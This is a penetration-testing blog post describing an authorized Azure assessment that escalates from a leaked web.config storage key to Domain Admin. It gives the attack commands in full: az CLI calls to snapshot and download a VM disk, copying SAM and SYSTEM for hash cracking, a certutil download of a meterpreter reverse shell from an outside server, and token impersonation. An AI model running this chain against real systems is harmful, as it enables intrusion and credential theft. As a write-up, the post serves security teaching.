March 4, 2020
by Federico Fernandez
Throughout this post, I am going to tell you about one of the adventures that the assessment team had during a penetration testing of an Azure located infrastructure.
Azure is a cloud service offered by Microsoft, which provides the user with different services to manage and create Virtual Machines, App Services, Create Storage Accounts, etc. It is widely used by many companies looking to obtain a scalable infrastructure based on windows servers.
During this post, it will be shown how it was possible to obtain Domain Admin privileges over a Domain Controller hosted in Azure. The attached information (images, commands), correspond to a real case, which for privacy reasons will be censored to safeguard the identity of our client.
Within the scope agreed by the client, the assessment team found a Full Source Disclosure vulnerability in an app service.
Through this vulnerability, it was possible to access the web.config file which was in the following path: “D:/home/site/wwwroot/web.config“
In the information found in the configuration file, the assessment team was able to obtain the credentials of the Storage Account “app01disks“.
An Azure Storage Account, as the name implies, serves to store different types of data, among which can be found, data of type blobs, files, queues, tables, and disks. In certain cases a Storage Account can be used to store Virtual Hard Disks belonging to active Virtual Machines. To have a basic idea, a Storage Account is similar to the Amazon S3 service.
Using the credentials of the Storage Account, it was possible to list the containers within the storage. For this, the Azure CLI tool was used.
Azure CLI is a command line tool to manage Azure Resources. This tool allows the user to interact with azure services from the command console, through this it is possible to create and manage Virtual Machines, Storage Accounts, and the different services that allow us to administer from Azure Portal.
First we proceeded to list the containers that were inside the Storage Account app01disks.
$ az storage container list --account-key DISCLOSED_KEY --account-name app01disks
As can be seen in the previous image, a blob container with the name “vhds” was found.
The next step was to list the blob files that were inside the container.
$ az storage blob list --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks
The existence of the file “SERVER0120191203162227.vhd” was detected, which is a Virtual Hard Disk and could contain very useful information, such as the NTLM hashes used in the Virtual Machine.
Next, the VHD file was downloaded.
$ az storage blob download --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks --name SERVER0120191203162227.vhd --file SERVER0120191203162227.vhd
As can be seen, at the time of downloading the VHD, the assessment team encountered an error, since the blob file was being used by the system. Therefore, we proceeded to create a snapshot of the VHD, in order to download it.
$ az storage blob snapshot --name SERVER0120191203162227.vhd --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks
In this way it was possible to download the VHD file without any problems.
$ az storage blob download --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks --name SERVER0120191203162227.vhd --file SERVER0120191203162227.vhd --snapshot 2019-12-03T22:05:53.1641082Z
The –snapshot argument indicated the name of the snapshot created previously.
Once the Virtual Hard Disk was downloaded, the guestmount tool was used to mount it and access the disk content.
$ mkdir /mnt/vhd
$ guestmount --add SERVER0120191203162227.vhd --inspector --ro /mnt/vhd
The next step was to access the mounted VHD and extract the SAM and SYSTEM files necessary to perform a dump of the NTLM hashes of the system.
[email protected]:/mnt/vhd/Windows/System32/config# cp SAM /root/SAM
[email protected]:/mnt/vhd/Windows/System32/config# cp SYSTEM /root/SYSTEM
Using the samdump2 tool it was possible to obtain the NTLM hash of the user server01.
As can be seen in the following image, a cracking of the password was done through the John The Ripper tool, being able to obtain the credentials of the server01 user.
The assessment team used the credentials to access through RDP to one of the servers that were within the scope agreed by the client.
Once inside the compromised machine, it was determined that it belonged to the domain controller “DOMAIN.internal“, but it was not possible to access the domain information since the compromised user belonged to a local user.
In order to raise privileges within the server, a Reverse Shell from meterpreter was generated and downloaded to the compromised server, using the “certutil” tool.
$ certutil -urlcache -split -f http://assessment-team-server/reverse.exe
The reverse.exe binary was executed and a meterpreter session was obtained on the assessment team server.
Through the incognito tool, the tokens were listed, being able to obtain the user token DOMAIN\Admin01. The token was impersonated to obtain user privileges, which belonged to the “Domain Admins” group.
Finally, as usual, the SecSignal user was created within the domain and added it to the “Domain Admins” group.
